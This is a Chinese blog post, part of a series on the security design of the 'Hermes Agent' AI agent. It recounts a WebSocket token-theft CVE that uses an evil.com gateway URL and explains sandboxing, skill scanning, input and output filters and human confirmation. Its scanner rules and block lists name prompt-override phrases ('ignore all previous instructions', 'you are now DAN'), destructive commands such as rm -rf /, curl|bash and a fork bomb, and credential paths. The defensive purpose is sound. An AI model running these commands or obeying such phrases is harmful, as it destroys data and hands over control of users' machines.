摘要:一个能执行 Shell、能读写文件、能装社区技能的 Agent,本质上是一台接在聊天窗口后面的远程终端。2026 年初 OpenClaw 的 CVE-2026-25253(CVSS 8.8)让人看清了这件事:点一个恶意链接就可能丢整台机器。本文复盘这个漏洞的真实成因,然后逐层拆 Hermes Agent 的五层防护——容器沙箱、技能扫描、Safety Guard、人在回路、本地模型,最后给一套可以直接抄的生产部署配置。
这是「Hermes Agent 深度剖析」系列的第 5 篇,全系列 7 篇:
01 总览:25 万 Star 的自改进 Agent 到底强在哪
02 三层记忆架构:会话记忆、持久记忆与用户模型怎么分工
03 技能学习闭环:Agent 怎么自己写技能文档
04 多平台网关:一个进程接住 16 个消息平台
05 安全架构:容器沙箱、技能扫描与人在回路(本文)
06 从零到生产:四种部署方式与成本账
07 vs OpenClaw:十二个维度的选型对比
一、Agent 的"危险三角":为什么它不是 Web 应用的子集
传统 Web 应用的安全模型建立在一个隐含前提上:代码是我写的,逻辑是确定的。你审计完 SQL 注入和 XSS,剩下的风险基本可控。
Agent 打破了这个前提。三个要素叠加,构成了一个传统安全框架没覆盖的组合:
| 要素 | 含义 | 后果 |
|---|---|---|
| 自主决策权 | Agent 能自己决定执行什么命令、请求什么 URL、写哪个文件 | 攻击者不需要直接调用 API,只要能影响"决策"就行 |
| 工具接入面 | Shell、文件系统、浏览器、数据库、第三方 API | 攻击面 = 所有工具权限的并集 |
| LLM 不可控性 | 输出是概率性的,可被注入、可幻觉、可越狱 | 输出天然不可信,不能当代码对待 |
对比一下差异:
| 维度 | 传统 Web 应用 | AI Agent |
|---|---|---|
| 攻击面 | HTTP 端点(可枚举) | Shell、文件、网络、数据库、浏览器 |
| 决策主体 | 确定性代码 | 概率性推理 |
| 权限边界 | RBAC 明确 | 通常以当前用户身份裸奔 |
| 主要攻击向量 | SQL 注入、XSS、CSRF | Prompt 注入、工具滥用、技能供应链投毒 |
| 审计难度 | 日志体系成熟 | 行为链散落在多轮推理中 |
我的看法是:Agent 安全的本质不是"防住攻击者",而是"限制被攻破后的破坏半径"。因为只要 Agent 还在读外部内容(网页、邮件、他人消息、社区技能),Prompt 注入就有无穷多种实现方式,你不可能全防住。真正能守住的是第二道防线——即使它被骗了,也做不了太坏的事。
二、CVE-2026-25253:一个链接换一台机器
2026 年初披露的这个漏洞(代号 ClawJacked,CVSS 8.8,影响 2026.1.29 之前所有版本,CNVD-2026-13289)值得仔细看,因为它的成因和很多人想象的不一样。
它不是"LLM 被诱导执行了恶意命令",而是控制端 UI 对 URL 参数的过度信任。
攻击链路(CWE-669:跨域资源传输不当):
1. 攻击者构造链接:https://<受害者本机的 OpenClaw 控制台>?gatewayUrl=wss://evil.com
2. 控制端前端从查询字符串读取 gatewayUrl,未做校验
3. 前端自动向该地址建立 WebSocket 连接
4. 握手时,前端把 localStorage 里的 authToken 一并发送
5. 攻击者拿到 token → 直接调用 Gateway API → 以合法设备身份执行任意 Shell 命令
关键点在于:受害者只需要点一下链接,不需要安装任何东西,也不需要模型被"说服"。
这暴露的三类设计缺陷,对任何做 Agent 的人都适用:
| 缺陷 | 具体表现 | 正确做法 |
|---|---|---|
| 信任链过长 | 前端信任 URL,后端信任 WebSocket 连接 | 每一跳都要重新校验,尤其是跨信任域的 |
| 凭据自动附加 | 建立连接时自动发送长期令牌 | 令牌绑定目标地址,跨源不发送 |
| 缺少纵深防御 | 拿到 token 即等于拿到一切 | 高危操作二次确认,权限按需授予 |
同一个时期,OpenClaw 还披露了多个高危问题:
| 编号 | 评分 | 问题 | 影响 |
|---|---|---|---|
| CVE-2026-25253 | 8.8 | gatewayUrl 参数未校验,跨站 WebSocket 劫持窃取 token | 一键 RCE |
| CVE-2026-25157 | 8.1 | 某 API 端点参数未过滤,可注入命令 | 无认证宿主机命令执行 |
| CVE-2026-32922 | 9.9 | 低权限令牌可提权到管理员 | 所有已连接节点 RCE |
| CVE-2026-28363 | — | 白名单校验的语义盲区 | 授权绕过 |
| CVE-2026-44113 | 7.7 | 文件系统桥接的 TOCTOU 竞态 | 读取挂载根之外的文件 |
外加 2026 年 2 月的 ClawHavoc 供应链投毒事件:ClawHub 市场上被植入上千个恶意技能,影响十余万台设备。这条正好说明:光管住代码不够,技能生态本身就是一个攻击面。
三、五层纵深防御:每一层独立失效
Hermes 的安全设计不复杂,就是经典的纵深防御,但每层都有明确的职责边界:
Layer 1 模型层隔离 → 敏感数据用本地 Ollama,数据不出本机
↓
Layer 2 运行时沙箱 → cap-drop=ALL + no-new-privileges + pids-limit
↓
Layer 3 技能审查 → 四维扫描:数据泄露 / 注入 / 破坏性命令 / 供应链
↓
Layer 4 行为过滤 → Safety Guard:输入过滤 + 输出过滤 + 审计
↓
Layer 5 人在回路 → 高风险操作二次确认,随时可中止
配套的四条设计原则:最小权限(默认拒绝,显式授权)、默认安全(开箱即加固,不靠用户自觉)、纵深防御(单点失效不影响整体)、可审计(行为链可回溯)。
第 2 条最容易被忽视。安全领域有个残酷的规律:"默认不安全"等于"不安全"——因为绝大多数用户不会主动加固。
四、Layer 2:容器沙箱,把 Agent 关进笼子
官方 Docker 部署配置只有短短几行,但每一行都有明确的安全语义:
docker run -it \
--shm-size=1g \
--cap-drop=ALL \
--security-opt=no-new-privileges \
--pids-limit=100 \
-v ~/.hermes:/root/.hermes \
nousresearch/hermes-agent:latest
4.1 --cap-drop=ALL:斩断权限触手
Linux capabilities 把 root 的超级权限拆成细粒度单元。Docker 默认保留 14 种,其中几种危险度极高:
| Capability | 风险 | 能干什么 |
|---|---|---|
CAP_SYS_ADMIN |
极高 | 挂载文件系统、容器逃逸 |
CAP_SYS_MODULE |
极高 | 加载内核模块 |
CAP_NET_RAW |
高 | 原始套接字、ARP 欺骗 |
CAP_SYS_PTRACE |
高 | 注入其他进程、读内存 |
CAP_DAC_OVERRIDE |
中 | 绕过文件权限检查 |
--cap-drop=ALL 一次全清,需要什么再单独加。落地效果很直接:
$ mount /dev/sda1 /mnt
mount: permission denied
$ iptables -L
iptables: Permission denied (you must be root)
$ insmod evil.ko
insmod: ERROR: could not insert module evil.ko: Operation not permitted
4.2 --security-opt=no-new-privileges:锁死提权路径
它阻止进程通过 setuid/setgid 获取新权限。容器里就算有 SUID 的 sudo,也用不了:
传统容器: sudo rm -rf / → 以 root 执行
Hermes: sudo rm -rf / → sudo: effective uid is not 0
和 --cap-drop=ALL 是互补关系:一个阻止拿到新 capabilities,一个阻止滥用已有的。
4.3 --pids-limit=100:防 Fork 炸弹
:(){ :|:& };:
没有 PID 限制时,这个一行命令会耗尽宿主机 PID,连带干掉同主机的其他容器。限制 100 之后,炸弹只能炸掉自己的配额。
4.4 加固程度对比
| 配置 | 常见默认 | Hermes 默认 |
|---|---|---|
| Capabilities | 保留 14 种 | --cap-drop=ALL |
| 权限提升 | 允许 setuid | no-new-privileges |
| PID 数量 | 无限制 | 100 |
| 根文件系统 | 可写 | 推荐只读 |
| seccomp | Docker 默认 profile | 推荐自定义白名单 |
我的看法:--cap-drop=ALL 是整个容器安全里最被低估的一行参数。它不花钱、不影响性能、不会让功能跑不起来(大多数 Agent 根本用不到这些 capability),但它把"容器逃逸"这个最坏结果的门槛抬高了一个数量级。
五、Layer 3:技能扫描,给社区技能设一道安检门
技能共享是 Hermes 的核心优势,也是它最大的新增攻击面。ClawHavoc 事件已经把这条路走通了一遍:恶意技能 = 供应链投毒,跟 npm 的 event-stream、PyPI 的恶意包是同一类问题,只不过载荷从代码变成了自然语言指令。
扫描器从四个维度过一遍:
| 维度 | 扫描什么 | 典型规则 |
|---|---|---|
| 数据泄露 | 技能里硬编码的凭据 | API Key、密码、私钥、含凭据的数据库连接串、疑似卡号 |
| Prompt 注入 | 试图劫持 Agent 行为的语句 | "ignore all previous instructions"、"you are now DAN"、"SYSTEM OVERRIDE"、零宽字符与同形异义字 |
| 破坏性命令 | 高危 Shell 模式 | rm -rf /、dd if=..of=/dev/、mkfs.、fork 炸弹、chmod -R 777 / |
| 供应链 | 依赖与引用链 | 外部 URL 域名信誉、依赖包已知漏洞、混淆脚本、许可证冲突 |
规则示例(节选):
critical:
- pattern: '(?i)(api[_-]?key|access[_-]?token)\s*[:=]\s*\S+'
message: "硬编码 API 密钥"
- pattern: '\b\d{16,19}\b'
message: "疑似信用卡号"
- pattern: '(?i)(jdbc|mysql|postgresql|mongodb|redis)://[^/\s]+:[^@\s]+@'
message: "含凭据的连接串"
- pattern: '-----BEGIN (RSA |EC )?PRIVATE KEY-----'
message: "私钥"
destructive = {
"critical": [r"\brm\s+-rf\s+/", r"\bdd\s+if=.*of=/dev/", r"\bmkfs\.",
r"\bchmod\s+-R\s+777\s+/", r":\(\)\s*\{.*:\|:&"],
"high": [r"\bcurl[^|]*\|\s*(bash|sh|zsh)", r"\bwget[^|]*\|\s*(bash|sh)",
r"\beval\s*\(", r"\bexec\s*\("],
"medium": [r"\bdocker\s+run[^\n]*--privileged", r"\biptables\s+-F", r"\bkill\s+-9\s+-1"],
}
5.1 自动化扫描的边界在哪里
这一层必须说清它的局限,否则会给人虚假的安全感:
| 能检出 | 检不出 |
|---|---|
| 硬编码密钥、危险命令 | 隐式的业务逻辑泄露(技能里描述了内部架构) |
| 明显的指令覆盖与上下文逃逸 | 新颖的注入手法 |
| 已知恶意域名、已知漏洞包 | 语义层面恶意但形式合法的内容 |
我的判断:技能扫描器是"快速过滤层",不是"安全保证"。它能挡掉 90% 的低质量恶意技能,剩下 10% 需要运行时行为和人工判断来兜底——这也正是下面两层存在的理由。
六、Layer 4:Safety Guard,不信任 LLM 的每一个输出
Safety Guard 的定位是"运行时免疫系统",在三个位置设卡:
用户输入 → [输入过滤] → LLM 推理 → [输出过滤] → 工具执行 → [行为审计] → 回复
↓拦截 ↓拦截 ↓异常
拒绝 拒绝 告警
6.1 输入过滤:在到达模型之前
class InputSafetyGuard:
KEYWORDS = ["ignore all previous instructions", "you are now dan",
"system override", "jailbreak", "do anything now",
"<script>", "<?php", "${jndi:"]
PATTERNS = [
r"(?i)ignore\s+(all\s+)?(previous|prior|above)\s+(instructions?|prompts?)",
r"(?i)you\s+are\s+now\s+(dan|jailbroken|unrestricted)",
r"(?i)forget\s+(everything|all)\s+(you\s+know|above)",
]
def check(self, text: str) -> bool:
low = text.lower()
if any(k in low for k in self.KEYWORDS):
return False
if any(re.search(p, text) for p in self.PATTERNS):
return False
if self.has_unicode_anomaly(text): # 零宽字符、同形异义字、方向控制符
return False
if self.looks_obfuscated(text): # Base64/十六进制大块载荷
return False
return True
6.2 输出过滤:在工具执行之前
这一层才是真正兜底的地方——假设输入过滤被绕过,模型已经被骗了,那么它生成的工具调用必须再过一遍:
BLOCKED = {
"critical": ["rm -rf /", "mkfs.", "dd if=", ":(){ :|:& };:"],
"high": ["chmod 777", "curl | bash", "wget -O - | sh", "eval("],
"medium": ["docker run --privileged", "iptables -F", "kill -9 -1"],
}
SENSITIVE_PATHS = ["/etc/shadow", "/etc/passwd", "/root/.ssh",
"/proc/", "/sys/", "~/.aws/", "~/.gcloud/"]
除了命令黑名单,还有两条检查:敏感路径访问(上面这些)和内网目标(SSRF 防护,请求打到内网地址或云厂商元数据端点时拦掉)。
6.3 行为审计:留下可回溯的链
每次工具执行落一条结构化日志:
{
"timestamp": "2026-05-07T14:32:18.421Z",
"event_type": "tool_execution",
"action": {
"tool": "shell_exec", "command": "git status --porcelain", "duration_ms": 234 },
"safety_check": {
"input_filtered": true, "output_filtered": true, "risk_score": 0.05 },
"context": {
"trigger_message": "帮我看看当前 git 状态", "skill_loaded": null, "model": "claude-sonnet-4.6" },
"result": {
"exit_code": 0 }
}
四个设计要点值得抄:追加写入不可篡改、包含触发消息与加载技能的完整上下文、每条都有量化风险评分、JSON 结构可直接接 SIEM。
为什么审计这么重要?因为 Agent 出事之后,你面对的问题不是"有没有日志",而是"能否重建它的决策链"——它为什么这么想、加载了哪个技能、看过哪些外部内容。没有这条链,事后分析基本无从下手。
七、Layer 5:人在回路,成本最低也最有效的一层
自动化能过滤 99%,剩下 1% 的破坏力最大。Hermes 的做法是按风险分级触发确认:
| 操作类型 | 风险 | 确认内容 |
|---|---|---|
| 外部 HTTP 请求 | 中 | 目标 URL + 请求体 |
| Shell 命令执行 | 中-高 | 完整命令 + 工作目录 |
| 文件删除 | 高 | 文件路径清单 |
| 数据库写操作 | 高 | SQL 语句 + 影响行数预估 |
| 代码部署 | 极高 | diff + 部署目标 |
| 权限变更 | 极高 | 变更前后对比 |
RISK = {
"http_request": MEDIUM, "database_write": HIGH, "file_delete": HIGH,
"shell_exec": MEDIUM, "code_deploy": CRITICAL, "permission_change": CRITICAL,
}
def should_confirm(tool, params):
risk = RISK.get(tool, LOW)
if risk == LOW:
return None
return ConfirmationRequest(tool=tool, risk_level=risk,
details=params, requires_explicit_approval=risk >= HIGH)
除了"事前确认",还有"事中干预":发 STOP / 停止 立刻中止,发 wait 暂停等待,发修正指令让 Agent 调整路径。前者是刹车,后者才是方向盘。
7.1 确认疲劳:HITL 的真实成本
我必须指出这一层的副作用。过度确认会导致"确认疲劳"——用户机械点同意,安全性反而归零,还多花了时间。四个缓解办法:
- 只对高风险操作触发,别什么都问
- 确认提示里给足上下文,让用户 3 秒能判断
- 一系列相关的低风险操作合并成一次确认
- 对用户反复批准的同类型操作,逐步降低打扰频率
八、Layer 1:本地模型,给敏感数据物理隔离
敏感数据的困境很现实:用云端模型,数据离开控制域;不用 AI,效率归零;而 GDPR、等保这类合规要求可能直接禁止出境。
Hermes 支持通过 Ollama 跑本地模型,并且可以按任务类型路由:
# ~/.hermes/config.yaml
models:
primary:
provider: openrouter
model: anthropic/claude-sonnet-4.6
sensitive:
provider: ollama
model: qwen3:14b
endpoint: http://localhost:11434
routing:
- pattern: "*.internal.company.com"
model: sensitive
- pattern: "含敏感关键词的任务"
model: sensitive
- default: primary
ollama pull qwen3:14b
hermes start
# → 检测到 Ollama 运行中 → 敏感任务自动路由本地 → 数据不出本机
权衡很清楚:
| 云端模型 | 本地模型 | |
|---|---|---|
| 能力 | 强 | 中等 |
| 数据位置 | 离开控制域 | 不出本机 |
| 合规 | 受第三方政策约束 | 可满足最严格要求 |
| 成本 | 按量计费 | 一次性 GPU 投入 |
| 延迟 | 网络往返 | 本地推理 |
我的判断:本地模型不是云端的替代,是互补。混合路由——日常任务走云端、敏感任务走本地——是当下最务实的方案。随着 14B 级别模型能力继续上台阶,这条边界会一直向本地移动。
九、生产部署:一套可以直接抄的配置
把前面几层落地成一条命令:
docker run -d --name hermes-agent --restart=unless-stopped \
--user 1000:1000 \
--memory="2g" --memory-swap="2g" --cpus="2" --pids-limit=100 --shm-size=1g \
--cap-drop=ALL \
--security-opt=no-new-privileges \
--security-opt=seccomp=/data/hermes/seccomp.json \
--read-only \
--tmpfs /tmp:rw,noexec,nosuid,size=256m \
--tmpfs /run:rw,noexec,nosuid,size=64m \
--network=hermes-net \
-v /data/hermes/config:/home/hermes/.hermes:ro \
-v /data/hermes/data:/home/hermes/.hermes/data \
-v /data/hermes/logs:/home/hermes/.hermes/logs \
-v /data/hermes/skills:/home/hermes/.hermes/skills:ro \
--log-driver=json-file --log-opt max-size=10m --log-opt max-file=3 \
nousresearch/hermes-agent:latest
每个参数的安全收益:
| 配置 | 作用 | 挡住了什么 |
|---|---|---|
--user 1000:1000 |
非 root 运行 | 容器逃逸后也拿不到 root |
--read-only |
根文件系统只读 | 恶意代码写不进系统目录 |
--tmpfs /tmp:noexec |
内存临时目录且不可执行 | 落地脚本无法执行 |
seccomp 白名单 |
只放行必要系统调用 | 绕过 capabilities 也调不到危险 syscall |
--memory / --cpus |
资源上限 | 内存耗尽、CPU 打满 |
--network=hermes-net |
独立桥接网络 | 缩小横向移动范围 |
config:ro |
配置只读挂载 | Agent 改不了自己的安全配置 |
配套的三件事:
出站白名单。 默认拒绝,只放行必要域名:
iptables -I FORWARD -s 172.28.0.2 -d api.openai.com -j ACCEPT
iptables -I FORWARD -s 172.28.0.2 -d api.anthropic.com -j ACCEPT
iptables -I FORWARD -s 172.28.0.2 -j DROP
告警规则。 至少盯四个指标:
| 告警 | 条件 | 含义 |
|---|---|---|
| 高风险操作 | 风险评分 > 0.7 持续 1 分钟 | Agent 行为异常 |
| 拦截率突增 | 5 分钟内拦截速率 > 0.1/s | 可能正在被持续攻击 |
| 进程数接近上限 | pids / limit > 0.8 | 疑似 fork 炸弹或死循环 |
| 提权尝试 | 1 小时内出现被拦截的提权 | 沙箱正在被试探 |
定期审计节奏。 每周看审计日志与拦截率波动;每月更新镜像、复查技能扫描报告、验证备份恢复;每季度做一次针对自己的 Prompt 注入测试、检查依赖 CVE;每年做一次架构评审与合规审计。
最后一条我想强调:自己攻击自己是最便宜的安全测试。拿十条经典的注入话术去喂你的 Agent,看它是否真的会照着做。这件事一个人一下午就能做完,性价比远高于读十篇安全文章。
十、总结
Hermes 的安全体系不是"没有漏洞",而是把"被攻破之后的破坏半径"压到了最小。
关键要点:
- Agent 安全的核心是限制破坏半径,不是阻止所有注入。只要 Agent 还读外部内容,注入就不可能清零。
- CVE-2026-25253 的教训不是"模型危险",而是"信任边界画错了"——前端相信 URL 参数,后端相信 WebSocket 连接,一个链接就能换一台机器。
- 沙箱是最便宜的防线:
--cap-drop=ALL+no-new-privileges+--pids-limit三行参数,把逃逸成本抬高一个量级。 - 技能是新的供应链,ClawHavoc 已经演示过一次。四维扫描能挡大部分,但挡不住语义层面的恶意。
- HITL 要防确认疲劳,风险分级 + 上下文摘要 + 批量合并,比"什么都问一遍"更安全。
- 本地模型是数据合规的唯一硬解法,混合路由是当下的最优工程妥协。
我的最终判断是:Hermes"至今无公开 CVE"的记录,有一部分来自"后发优势"——它可以看到 OpenClaw 踩过的坑并且提前绕开。真正的考验还没来:当出现全新的攻击向量(多 Agent 协作的信任链、技能互相调用的越权、自主决策加强后的 HITL 失效),这套五层结构是否同样有效?
给中高级开发者的建议,就三条:把 LLM 输出当成不可信的外部输入;从第一天就上沙箱,而不是出事之后再补;保留人类刹车,但要设计得足够省心。
下一篇:《从零到生产:四种部署方式与成本账》——本地、Docker、SSH、Serverless 各自适合谁,一个月要花多少钱,模型怎么选。
延伸阅读
- Hermes Agent GitHub
- CVE-2026-25253 详情
- Docker Engine Security
- Linux Capabilities 手册
- OWASP Top 10 for LLM Applications
这套「拆开源 Agent 源码」的连载还剩两篇。也想听听你的场景:你的 Agent 现在跑在什么权限下?如果它今天被 Prompt 注入成功,最坏情况会丢什么——一段对话、一个仓库,还是一整台机器?